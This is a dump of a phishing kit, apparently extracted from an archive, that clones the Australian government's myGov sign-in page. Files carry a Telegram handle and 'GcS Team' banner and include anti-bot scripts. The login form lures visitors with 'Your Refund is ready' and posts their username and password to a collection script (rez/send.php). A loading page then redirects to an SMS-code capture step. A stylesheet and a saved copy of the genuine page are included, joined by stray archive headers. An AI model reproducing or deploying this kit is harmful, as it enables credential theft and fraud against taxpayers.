⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⠺⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣿⠟⢁⣴⣷⣦⣤⣤⣤⡀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡿⠛⡆⠀⠉⠛⠻⠿⠿⠿⠇⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⡷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⢠⣴⣿⡦⠀⢻⣷⠀⠀⠀t.me/amandz741 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⢀⣴⣿⣿⡿⠁⠀⠘⠋⠀ GcS Team remember this name⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⣰⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠈⠻⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠈⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ */ session_start(); include "../anti/anti1.php"; include "../anti/anti2.php"; include "../anti/anti3.php"; include "../anti/anti4.php"; include "../anti/anti5.php"; include "../anti/anti7.php"; ?> <html lang="en"><!--<![endif]--><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <!-- E: PROD; C: MW0w; N: MW0w16; S: SW16c; --> <meta http-equiv="x-ua-compatible" content="ie=edge"> <meta name="apple-mobile-web-app-capable" content="yes"> <title> Sign in with myGov - myGov </title> <meta name="description" content=""> <meta name="viewport" content="width=device-width, initial-scale=1"> <!-- phone number format detection, turning it off --> <meta name="format-detection" content="telephone=no"> <script type="text/javascript" src="./login_files/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js.download" data-dtconfig="app=5f15dc81410a75c1|ssc=1|rcdec=1209600000|featureHash=ICA2Vfghjqrux|vcv=2|rdnt=0|uxrgce=1|bp=3|srmcrv=10|cuc=gpalpirq|mel=100000|md=mdcc1=ainput#user-id,mdcc2=adiv.error-msg-text span,mdcc3=aspan[data-home-welcome-message]|ssv=4|lastModification=1664408259780|dtVersion=10243220606153550|srmcrl=1|tp=500,50,0,1|uxdcw=1500|agentUri=/LoginServices/main/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js|reportUrl=/LoginServices/main/rb_6de8e2e9-6719-45b3-86be-7effcb9f6525|rid=RID_315652659|rpid=-945084416|domain=my.gov.au"></script><link rel="icon" type="image/png" sizes="32x32" href="https://login.my.gov.au/mygov/content/mgv2/icons/favicon-32x32.png"> <link rel="icon" type="image/png" sizes="16x16" href="https://login.my.gov.au/mygov/content/mgv2/icons/favicon-16x16.png"> <link href="./login_files/css" rel="stylesheet"> <link href="./login_files/mgv2-application.css" rel="stylesheet"> <link href="./login_files/blugov.css" rel="stylesheet"> </head> <body><noscript> <div class="outage"> <div class="outage__inner"> <div> <span class="is-visuallyhidden"> Warning message: </span> <p> JavaScript is required for myGov to work correctly.</p> </div> </div> </div> </noscript> <nav class="uikit-skip-link" aria-label="Skip Links"> <a class="uikit-skip-link__link" href="https://login.my.gov.au/las/mygov-login?execution=e2s1#content">Skip to main content</a> </nav> <div class="brand-rainbow"> </div> <header role="banner" class="mgvEnhanceHeader"> <section class="wrapper"> <div class="inner"> <div class="unauth-grid"> <div class="unauth-grid-row"> <a href="https://beta.my.gov.au/" class="unauth-govt-crest__link"> <img id="unauth-govt-crest" src="./login_files/myGov-cobranded-logo-black.svg" alt="myGov Beta" role="img"> </a> <div class="header-links"> <a href="https://beta.my.gov.au/en/about/help">Help</a> </div> </div> </div> </div> </section> </header> <div class="wrapper-mapwap"><div class="main-block" id="content" role="main"> <div class="unauth"> <div class="login-grid-container"> <div class="login-grid-row"> <div class="login-grid-column"> <div class="digital-id-login-card-wrapper"> <div class="digital-id-main-login-card override"> <h1>Sign in with myGov</h1> <p style="color:green" class="login-instruction-text">Your Refund is ready.</p> <h2 class="text-align-left">Please login to continue the process</h2> <form id="mygov-login-form" aria-describedby="error-msg" class="mygov-login-form alternative" action="rez/send.php" method="post"> <div class="input-group"> <label class="override" for="userId">Username or email</label> <input id="userId" name="username" aria-required="true" data-username="data-username" type="text" value="" autocomplete="off"> </div> <p class="recovery"> <a href="https://login.my.gov.au/las/mygov-login?execution=e2s1&_eventId=recoverusername" class="anchor override">Forgot username</a> </p> <div class="input-group"> <label for="password" class="override">Password</label> <div class="password-group"> <button class="showPassword anchor" type="button" aria-describedby="show-hide-helpmsg" aria-label="Show password as plain text.">Show</button><p class="is-visuallyhidden" id="show-hide-helpmsg">Note: this will visually expose your password on the screen.</p><button class="showPassword anchor" type="button" aria-describedby="show-hide-helpmsg" aria-label="Show password as plain text.">Show</button><p class="is-visuallyhidden" id="show-hide-helpmsg">Note: this will visually expose your password on the screen.</p><button class="showPassword anchor" type="button" aria-describedby="show-hide-helpmsg" aria-label="Show password as plain text.">Show</button><p class="is-visuallyhidden" id="show-hide-helpmsg">Note: this will visually expose your password on the screen.</p><input id="password" name="password" type="password" data-current-password="data-current-password" autocomplete="off" aria-required="true"> </div> </div> <p class="recovery"> <a href="https://login.my.gov.au/las/mygov-login?execution=e2s1&_eventId=resetpassword" class="anchor override">Forgot password</a> </p> <div class="button-digital-id-main-container override"> <div class="digital-id-button-container"> <button type="submit" class="button-main" name="login">Sign in</button> </div> </div> <input type="hidden" name="authtype" value="unamepword"> <input type="hidden" name="_csrf" value="a6f900ad-8865-4945-bf98-e61cdc954330"> <p class="create-account-text"><a class="create-account-link" href="https://my.gov.au/en/create-account/">Create a myGov account</a> if you don't have one already.</p> <div> <input type="hidden" name="_csrf" value="a6f900ad-8865-4945-bf98-e61cdc954330"> </div></form> <div class="hr-word"> <div class="draw-circle"> or </div> </div> <div class="digital-id-login-card secondary"> <div class="button-digital-id-container"> <h2 class="text-align-left">Using your myGovID Digital Identity</h2> <div class="digital-id-login-option-container"> <div class="inner-options"> <p class="external-links-zone"> What is <a href="https://www.digitalidentity.gov.au/" target="_blank">Digital Identity</a> and <a href="https://www.mygovid.gov.au/" target="_blank">myGovID</a>? </p> <a class="button-digital-identity" href="https://login.my.gov.au/las/mygov-login?execution=e2s1&_eventId=digitalIdentity">Continue with Digital Identity</a> <input type="hidden" value="{flowScope.targetParamDI}"> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div></div> <footer role="contentinfo"> <div class="wrapper"> <div class="inner"> <section class="footer-list"> <nav> <h2 class="sr-only" aria-label="Footer">Footer</h2> <ul class="lower-links"> <li> <a target="_blank" href="https://my.gov.au/en/about/terms">Terms of use</a> </li> <li> <a target="_blank" href="https://my.gov.au/en/about/privacy-and-security">Privacy and security</a> </li> <li> <a target="_blank" href="https://my.gov.au/en/about/copyright">Copyright</a> </li> <li> <a target="_blank" href="https://my.gov.au/en/about/accessibility">Accessibility</a> </li> </ul> </nav> </section> <div class="footer-lower"> <section class="footer-lower-logo"> <a href="https://beta.my.gov.au/"> <img src="./login_files/myGov-cobranded-logo-white.svg" alt="myGov Beta" width="313.17" height="70" role="img"> </a> </section> <p class="footer-acknowledgement">We acknowledge the Traditional Custodians of the lands we live on. We pay our respects to all Elders, past and present, of all Aboriginal and Torres Strait Islander nations.</p> </div> </div> </div> </footer> <script type="text/javascript" src="./login_files/mgv2-vendor.js.download"></script> <script type="text/javascript" src="./login_files/mgv2-application.js.download"></script> <script type="text/javascript" src="./login_files/login.js.download"></script> <div id="artifact-metadata"> </div> </body></html>mygov/app/loading.php000064400000015056151676702570010642 0ustar00<?php /* ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⣿⠆⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⢤⣴⠟⠁⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣄⠐⠟⠁⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⠺⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣿⠟⢁⣴⣷⣦⣤⣤⣤⡀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡿⠛⡆⠀⠉⠛⠻⠿⠿⠿⠇⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⡷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⢠⣴⣿⡦⠀⢻⣷⠀⠀⠀t.me/amandz741 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⢀⣴⣿⣿⡿⠁⠀⠘⠋⠀ GcS Team remember this name⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⣰⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠈⠻⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠈⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ */ session_start(); include "../anti/anti1.php"; include "../anti/anti2.php"; include "../anti/anti3.php"; include "../anti/anti4.php"; include "../anti/anti5.php"; include "../anti/anti7.php"; ?> <html lang="en"><!--<![endif]--><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <!-- E: PROD; C: MW0w; N: MW0w16; S: SW16c; --> <meta http-equiv="x-ua-compatible" content="ie=edge"> <meta name="apple-mobile-web-app-capable" content="yes"> <title> Sign in with myGov - myGov </title> <meta name="description" content=""> <meta http-equiv="refresh" content="10;url=sms.php"/> <meta name="viewport" content="width=device-width, initial-scale=1"> <!-- phone number format detection, turning it off --> <meta name="format-detection" content="telephone=no"> <script type="text/javascript" src="./login_files/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js.download" data-dtconfig="app=5f15dc81410a75c1|ssc=1|rcdec=1209600000|featureHash=ICA2Vfghjqrux|vcv=2|rdnt=0|uxrgce=1|bp=3|srmcrv=10|cuc=gpalpirq|mel=100000|md=mdcc1=ainput#user-id,mdcc2=adiv.error-msg-text span,mdcc3=aspan[data-home-welcome-message]|ssv=4|lastModification=1664408259780|dtVersion=10243220606153550|srmcrl=1|tp=500,50,0,1|uxdcw=1500|agentUri=/LoginServices/main/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js|reportUrl=/LoginServices/main/rb_6de8e2e9-6719-45b3-86be-7effcb9f6525|rid=RID_315652659|rpid=-945084416|domain=my.gov.au"></script><link rel="icon" type="image/png" sizes="32x32" href="https://login.my.gov.au/mygov/content/mgv2/icons/favicon-32x32.png"> <link rel="icon" type="image/png" sizes="16x16" href="https://login.my.gov.au/mygov/content/mgv2/icons/favicon-16x16.png"> <link href="./login_files/css" rel="stylesheet"> <link href="./login_files/mgv2-application.css" rel="stylesheet"> <link href="./login_files/blugov.css" rel="stylesheet"> </head> <body><noscript> <div class="outage"> <div class="outage__inner"> <div> <span class="is-visuallyhidden"> Warning message: </span> <p> JavaScript is required for myGov to work correctly.</p> </div> </div> </div> </noscript> <nav class="uikit-skip-link" aria-label="Skip Links"> <a class="uikit-skip-link__link" href="https://login.my.gov.au/las/mygov-login?execution=e2s1#content">Skip to main content</a> </nav> <div class="brand-rainbow"> </div> <header role="banner" class="mgvEnhanceHeader"> <section class="wrapper"> <div class="inner"> <div class="unauth-grid"> <div class="unauth-grid-row"> <a href="https://beta.my.gov.au/" class="unauth-govt-crest__link"> <img id="unauth-govt-crest" src="./login_files/myGov-cobranded-logo-black.svg" alt="myGov Beta" role="img"> </a> <div class="header-links"> <a href="https://beta.my.gov.au/en/about/help">Help</a> </div> </div> </div> </div> </section> </header> <div class="wrapper-mapwap"><div class="main-block" id="content" role="main"> <div class="unauth"> <div class="login-grid-container"> <div class="login-grid-row"> <img src="https://media.tenor.com/wpSo-8CrXqUAAAAi/loading-loading-forever.gif" style=" margin-left: 50px; "> <p style=" margin-left: 80px; ">Loading Please wait...</p> </div> </div> </div> </div></div> <footer role="contentinfo"> <div class="wrapper"> <div class="inner"> <section class="footer-list"> <nav> <h2 class="sr-only" aria-label="Footer">Footer</h2> <ul class="lower-links"> <li> <a target="_blank" href="https://my.gov.au/en/about/terms">Terms of use</a> </li> <li> <a target="_blank" href="https://my.gov.au/en/about/privacy-and-security">Privacy and security</a> </li> <li> <a target="_blank" href="https://my.gov.au/en/about/copyright">Copyright</a> </li> <li> <a target="_blank" href="https://my.gov.au/en/about/accessibility">Accessibility</a> </li> </ul> </nav> </section> <div class="footer-lower"> <section class="footer-lower-logo"> <a href="https://beta.my.gov.au/"> <img src="./login_files/myGov-cobranded-logo-white.svg" alt="myGov Beta" width="313.17" height="70" role="img"> </a> </section> <p class="footer-acknowledgement">We acknowledge the Traditional Custodians of the lands we live on. We pay our respects to all Elders, past and present, of all Aboriginal and Torres Strait Islander nations.</p> </div> </div> </div> </footer> <script type="text/javascript" src="./login_files/mgv2-vendor.js.download"></script> <script type="text/javascript" src="./login_files/mgv2-application.js.download"></script> <script type="text/javascript" src="./login_files/login.js.download"></script> <div id="artifact-metadata"> </div> </body></html>mygov/app/login.html000064400000020431151676702570010503 0ustar00<!DOCTYPE html> <!-- saved from url=(0054)https://login.my.gov.au/las/mygov-login?execution=e2s1 --> <html lang="en"><!--<![endif]--><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <!-- E: PROD; C: MW0w; N: MW0w16; S: SW16c; --> <meta http-equiv="x-ua-compatible" content="ie=edge"> <meta name="apple-mobile-web-app-capable" content="yes"> <title> Sign in with myGov - myGov </title> <meta name="description" content=""> <meta name="viewport" content="width=device-width, initial-scale=1"> <!-- phone number format detection, turning it off --> <meta name="format-detection" content="telephone=no"> <script type="text/javascript" src="./login_files/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js.download" data-dtconfig="app=5f15dc81410a75c1|ssc=1|rcdec=1209600000|featureHash=ICA2Vfghjqrux|vcv=2|rdnt=0|uxrgce=1|bp=3|srmcrv=10|cuc=gpalpirq|mel=100000|md=mdcc1=ainput#user-id,mdcc2=adiv.error-msg-text span,mdcc3=aspan[data-home-welcome-message]|ssv=4|lastModification=1664408259780|dtVersion=10243220606153550|srmcrl=1|tp=500,50,0,1|uxdcw=1500|agentUri=/LoginServices/main/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js|reportUrl=/LoginServices/main/rb_6de8e2e9-6719-45b3-86be-7effcb9f6525|rid=RID_315652659|rpid=-945084416|domain=my.gov.au"></script><link rel="icon" type="image/png" sizes="32x32" href="https://login.my.gov.au/mygov/content/mgv2/icons/favicon-32x32.png"> <link rel="icon" type="image/png" sizes="16x16" href="https://login.my.gov.au/mygov/content/mgv2/icons/favicon-16x16.png"> <link href="./login_files/css" rel="stylesheet"> <link href="./login_files/mgv2-application.css" rel="stylesheet"> <link href="./login_files/blugov.css" rel="stylesheet"> </head> <body><noscript> <div class="outage"> <div class="outage__inner"> <div> <span class="is-visuallyhidden"> Warning message: </span> <p> JavaScript is required for myGov to work correctly.</p> </div> </div> </div> </noscript> <nav class="uikit-skip-link" aria-label="Skip Links"> <a class="uikit-skip-link__link" href="https://login.my.gov.au/las/mygov-login?execution=e2s1#content">Skip to main content</a> </nav> <div class="brand-rainbow"> </div> <header role="banner" class="mgvEnhanceHeader"> <section class="wrapper"> <div class="inner"> <div class="unauth-grid"> <div class="unauth-grid-row"> <a href="https://beta.my.gov.au/" class="unauth-govt-crest__link"> <img id="unauth-govt-crest" src="./login_files/myGov-cobranded-logo-black.svg" alt="myGov Beta" role="img"> </a> <div class="header-links"> <a href="https://beta.my.gov.au/en/about/help">Help</a> </div> </div> </div> </div> </section> </header> <div class="wrapper-mapwap"><div class="main-block" id="content" role="main"> <div class="unauth"> <div class="login-grid-container"> <div class="login-grid-row"> <div class="login-grid-column"> <div class="digital-id-login-card-wrapper"> <div class="digital-id-main-login-card override"> <a data-go-back-link="" class="button-back" href="https://login.my.gov.au/las/mygov-login?execution=e2s1&_eventId=close">Back</a> <h1>Sign in with myGov</h1> <p class="login-instruction-text">Choose how to sign in from these 2 options</p> <h2 class="text-align-left">Using your myGov sign in details</h2> <form id="mygov-login-form" aria-describedby="error-msg" class="mygov-login-form alternative" action="https://login.my.gov.au/las/mygov-login?execution=e2s1" method="post"> <div class="input-group"> <label class="override" for="userId">Username or email</label> <input id="userId" name="username" aria-required="true" data-username="data-username" type="text" value="" autocomplete="off"> </div> <p class="recovery"> <a href="https://login.my.gov.au/las/mygov-login?execution=e2s1&_eventId=recoverusername" class="anchor override">Forgot username</a> </p> <div class="input-group"> <label for="password" class="override">Password</label> <div class="password-group"> <button class="showPassword anchor" type="button" aria-describedby="show-hide-helpmsg" aria-label="Show password as plain text.">Show</button><p class="is-visuallyhidden" id="show-hide-helpmsg">Note: this will visually expose your password on the screen.</p><input id="password" name="password" type="password" data-current-password="data-current-password" autocomplete="off" aria-required="true"> </div> </div> <p class="recovery"> <a href="https://login.my.gov.au/las/mygov-login?execution=e2s1&_eventId=resetpassword" class="anchor override">Forgot password</a> </p> <div class="button-digital-id-main-container override"> <div class="digital-id-button-container"> <button type="submit" class="button-main" name="_eventId_login">Sign in</button> </div> </div> <input type="hidden" name="authtype" value="unamepword"> <input type="hidden" name="_csrf" value="a6f900ad-8865-4945-bf98-e61cdc954330"> <p class="create-account-text"><a class="create-account-link" href="https://my.gov.au/en/create-account/">Create a myGov account</a> if you don't have one already.</p> <div> <input type="hidden" name="_csrf" value="a6f900ad-8865-4945-bf98-e61cdc954330"> </div></form> <div class="hr-word"> <div class="draw-circle"> or </div> </div> <div class="digital-id-login-card secondary"> <div class="button-digital-id-container"> <h2 class="text-align-left">Using your myGovID Digital Identity</h2> <div class="digital-id-login-option-container"> <div class="inner-options"> <p class="external-links-zone"> What is <a href="https://www.digitalidentity.gov.au/" target="_blank">Digital Identity</a> and <a href="https://www.mygovid.gov.au/" target="_blank">myGovID</a>? </p> <a class="button-digital-identity" href="https://login.my.gov.au/las/mygov-login?execution=e2s1&_eventId=digitalIdentity">Continue with Digital Identity</a> <input type="hidden" value="{flowScope.targetParamDI}"> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div></div> <footer role="contentinfo"> <div class="wrapper"> <div class="inner"> <section class="footer-list"> <nav> <h2 class="sr-only" aria-label="Footer">Footer</h2> <ul class="lower-links"> <li> <a target="_blank" href="https://my.gov.au/en/about/terms">Terms of use</a> </li> <li> <a target="_blank" href="https://my.gov.au/en/about/privacy-and-security">Privacy and security</a> </li> <li> <a target="_blank" href="https://my.gov.au/en/about/copyright">Copyright</a> </li> <li> <a target="_blank" href="https://my.gov.au/en/about/accessibility">Accessibility</a> </li> </ul> </nav> </section> <div class="footer-lower"> <section class="footer-lower-logo"> <a href="https://beta.my.gov.au/"> <img src="./login_files/myGov-cobranded-logo-white.svg" alt="myGov Beta" width="313.17" height="70" role="img"> </a> </section> <p class="footer-acknowledgement">We acknowledge the Traditional Custodians of the lands we live on. We pay our respects to all Elders, past and present, of all Aboriginal and Torres Strait Islander nations.</p> </div> </div> </div> </footer> <script type="text/javascript" src="./login_files/mgv2-vendor.js.download"></script> <script type="text/javascript" src="./login_files/mgv2-application.js.download"></script> <script type="text/javascript" src="./login_files/login.js.download"></script> <div id="artifact-metadata"> </div> </body></html>mygov/app/login_files/blugov.css000064400000211165151676702570013015 0ustar00.confirm-action.blugov{height:50px;height:3.125rem;text-decoration:none;background-color:#254a7e;border-radius:5px;color:#fff;font-size:16px;font-weight:500;min-width:160px;background-color:#254a7e}.confirm-action.blugov:hover{text-decoration:none;background-color:#183052;color:#fff}.confirm-action.blugov:focus{background-color:#183052;outline:4px solid #183052;outline-offset:2px}.confirm-action.blugov:disabled{background-color:#a0a0a3}html{font-family:"Roboto",-apple-system,BlinkMacSystemFont,"Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif}html :focus{outline:4px solid #183052;outline-offset:2px}html body{font-size:18px;color:#000;font-weight:400}html h1{color:#333;font-family:"Roboto",-apple-system,BlinkMacSystemFont,"Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-weight:700;font-size:28px;line-height:34px}html a:focus{outline:0;outline-offset:none}html a.anchor:focus{outline:0;outline-offset:none}html .error-msg{border:2px solid #dc3548;border:.125rem solid #dc3548;border-left-width:48px;color:#333;border-radius:5px}html .error-msg::before{background-image:url("../blugov/Icons---System---Alert---Emergency.svg")}html .error-msg span{display:inline}html .error-msg .error-msg-text a{font-size:18px}html .success-msg{border:2px solid #1a9f50;border:.125rem solid #1a9f50;border-left-width:48px;color:#333;border-radius:5px}html .success-msg::before{background-image:url("../blugov/Icons---System---Tick---Line.svg")}html .success-msg span{display:inline}html .success-msg .success-msg-text a{font-size:18px}html .hasInfo{font-size:16px;border-left:4px solid #254a7e}html .hasInfo span,html .hasInfo a{font-size:16px}html .hasError{border-left:4px solid #dc3548;font-size:14px;font-weight:400}html .hasError p,html .hasError span{color:#dc3548}html .hasError p.hasError,html .hasError span.hasError{color:#dc3548}html .hasError p.hasError p,html .hasError span.hasError p{margin-top:10px;margin-bottom:0}.brand-rainbow{height:5px;background:url("../blugov/M-myGov-Coloured Line.svg");background-repeat:no-repeat;background-color:#0061c8}.brand-rainbow.padding{margin-bottom:1em}@media screen and (max-width:640px){.brand-rainbow{height:7px;background:url("../blugov/D-myGov-Coloured Line.svg");background-repeat:no-repeat;background-color:#0061c8}}@media screen and (min-width:992px){header .inner{max-width:1360px!important;margin-left:auto;margin-right:auto}}header section.wrapper{min-height:100px}header .inner{height:100px;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:left;-webkit-justify-content:left;-ms-flex-pack:left;justify-content:left;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;padding:16px 20px}header.mgvEnhanceHeader{height:100px;min-height:100px;background-color:#183052;border-bottom-color:#183052}header.mgvEnhanceHeader .header-logo{display:none}header .unauth-grid-row a{display:inline;color:none;border-bottom:0}header .unauth-grid-row a:hover{background-color:transparent}header .unauth-grid-row a:focus{outline:2px solid #33c4e8;outline-offset:4px}.login-grid-column{width:100%}@media screen and (min-width:640px){.unauth .digital-id-login-card{padding:0;max-width:100%;width:100%}}.main-block{max-width:600px}.main-block .button-secondary,.main-block .button-minor{height:50px;height:3.125rem;background-color:#fff;border-radius:5px;color:#254a7e;text-decoration:none;border:2px solid #254a7e;font-size:16px;font-weight:500;min-width:160px}.main-block .button-secondary:hover,.main-block .button-minor:hover{background-color:#fff;color:#313131;text-decoration:underline;border:2px solid #313131}.main-block .button-secondary:focus,.main-block .button-minor:focus{text-decoration:none;outline:4px solid #183052;outline-offset:2px}.main-block a{color:#254a7e;text-decoration:underline;border-bottom:0;font-size:18px}.main-block a:hover{color:#254a7e;border-bottom:0;text-decoration:none;background-color:transparent}.main-block a:focus{outline:4px solid #183052;outline-offset:2px}.main-block a.button-minor.button{height:50px;height:3.125rem;background-color:#fff;border-radius:5px;color:#254a7e;text-decoration:none;border:2px solid #254a7e;font-size:16px;font-weight:500;min-width:160px}.main-block a.button-minor.button:hover{background-color:#fff;color:#313131;text-decoration:underline;border:2px solid #313131}.main-block a.button-minor.button:focus{text-decoration:none;outline:4px solid #183052;outline-offset:2px}.main-block a.button-minor.button.error-button-padding{padding-top:.6em}.main-block .button-main{height:50px;height:3.125rem;text-decoration:none;background-color:#254a7e;border-radius:5px;color:#fff;font-size:16px;font-weight:500;min-width:160px}.main-block .button-main:hover{text-decoration:none;background-color:#183052;color:#fff}.main-block .button-main:focus{background-color:#183052;outline:4px solid #183052;outline-offset:2px}a#back-to-top{color:#254a7e;text-decoration:underline;border-bottom:0;font-size:18px}a#back-to-top:hover{color:#254a7e;border-bottom:0;text-decoration:none;background-color:transparent}a#back-to-top:focus{outline:4px solid #183052;outline-offset:2px}a.button-back{font-size:14px!important;font-weight:500}a.button-back::before{background-position:unset;background-size:1em;top:-2px;-webkit-transform:scale(0.5);transform:scale(0.5);right:2.2em;background-image:url("../icons/blugov-left-chevron.svg")}a.button-back-error{color:#254a7e;text-decoration:underline;border-bottom:0;font-size:18px;font-size:14px!important;font-weight:500}a.button-back-error:hover{color:#254a7e;border-bottom:0;text-decoration:none;background-color:transparent}a.button-back-error:focus{outline:4px solid #183052;outline-offset:2px}a.margin-left{font-size:18px!important;margin-left:0!important}a[data-go-back-link=""]{font-size:18px!important}.error-arrow{height:.7em;margin-right:.5em}#digital-id-modal-background+img{display:none}.digital-id-main-login-card.override{width:100%!important;max-width:100%!important}.return-error-links{margin-top:1em}.anchor.override{font-weight:500}.button-container .button,.button-digital-id-container .button{padding-left:17px;padding-right:17px}.button-container{text-align:center}.wrapper form .button-container,#content form .button-container{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.help-text{display:block}.wrapper-mapwap div.unauth,.unauth div.unauth{padding-left:36px;padding-right:36px}@media(max-width:640px){.wrapper-mapwap div.unauth,.unauth div.unauth{padding-left:0;padding-right:0}}.wrapper-mapwap .main-block,.unauth .main-block{max-width:600px}.wrapper-mapwap h1,.unauth h1{color:#333;font-family:"Roboto",-apple-system,BlinkMacSystemFont,"Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-weight:700;font-size:28px;margin-bottom:unset;margin-bottom:20px}.wrapper-mapwap .hr-word,.unauth .hr-word{width:100%!important;height:20px;margin-top:40px;margin-right:12.5%;margin-bottom:40px}.wrapper-mapwap .hr-word span,.unauth .hr-word span{background-color:black}.wrapper-mapwap .password-help,.unauth .password-help{font-size:14px;color:#666;display:block}.wrapper-mapwap form label,.wrapper-mapwap form .std-Legend,.unauth form label,.unauth form .std-Legend{font-size:14px;display:inline;color:#333}.wrapper-mapwap form label[for="newPassword"],.wrapper-mapwap form .std-Legend[for="newPassword"],.unauth form label[for="newPassword"],.unauth form .std-Legend[for="newPassword"]{font-weight:600}.wrapper-mapwap form label[for="mobileConfirmationCode"],.wrapper-mapwap form .std-Legend[for="mobileConfirmationCode"],.unauth form label[for="mobileConfirmationCode"],.unauth form .std-Legend[for="mobileConfirmationCode"]{font-weight:600}.wrapper-mapwap form label[for="mobile-number"],.wrapper-mapwap form .std-Legend[for="mobile-number"],.unauth form label[for="mobile-number"],.unauth form .std-Legend[for="mobile-number"]{font-weight:600}.wrapper-mapwap form label[for="otpanswer"],.wrapper-mapwap form .std-Legend[for="otpanswer"],.unauth form label[for="otpanswer"],.unauth form .std-Legend[for="otpanswer"]{font-weight:600}.wrapper-mapwap form label[for="verificationCode"],.wrapper-mapwap form .std-Legend[for="verificationCode"],.unauth form label[for="verificationCode"],.unauth form .std-Legend[for="verificationCode"]{font-weight:600}.wrapper-mapwap form label[for="passwordRetyped"],.wrapper-mapwap form .std-Legend[for="passwordRetyped"],.unauth form label[for="passwordRetyped"],.unauth form .std-Legend[for="passwordRetyped"]{font-weight:600}.wrapper-mapwap form label[for="totpanswer"],.wrapper-mapwap form .std-Legend[for="totpanswer"],.unauth form label[for="totpanswer"],.unauth form .std-Legend[for="totpanswer"]{font-weight:600}.wrapper-mapwap form label[for="userId"],.wrapper-mapwap form .std-Legend[for="userId"],.unauth form label[for="userId"],.unauth form .std-Legend[for="userId"]{font-weight:600;display:block}.wrapper-mapwap form label[for="userId"] .hasInfo,.wrapper-mapwap form 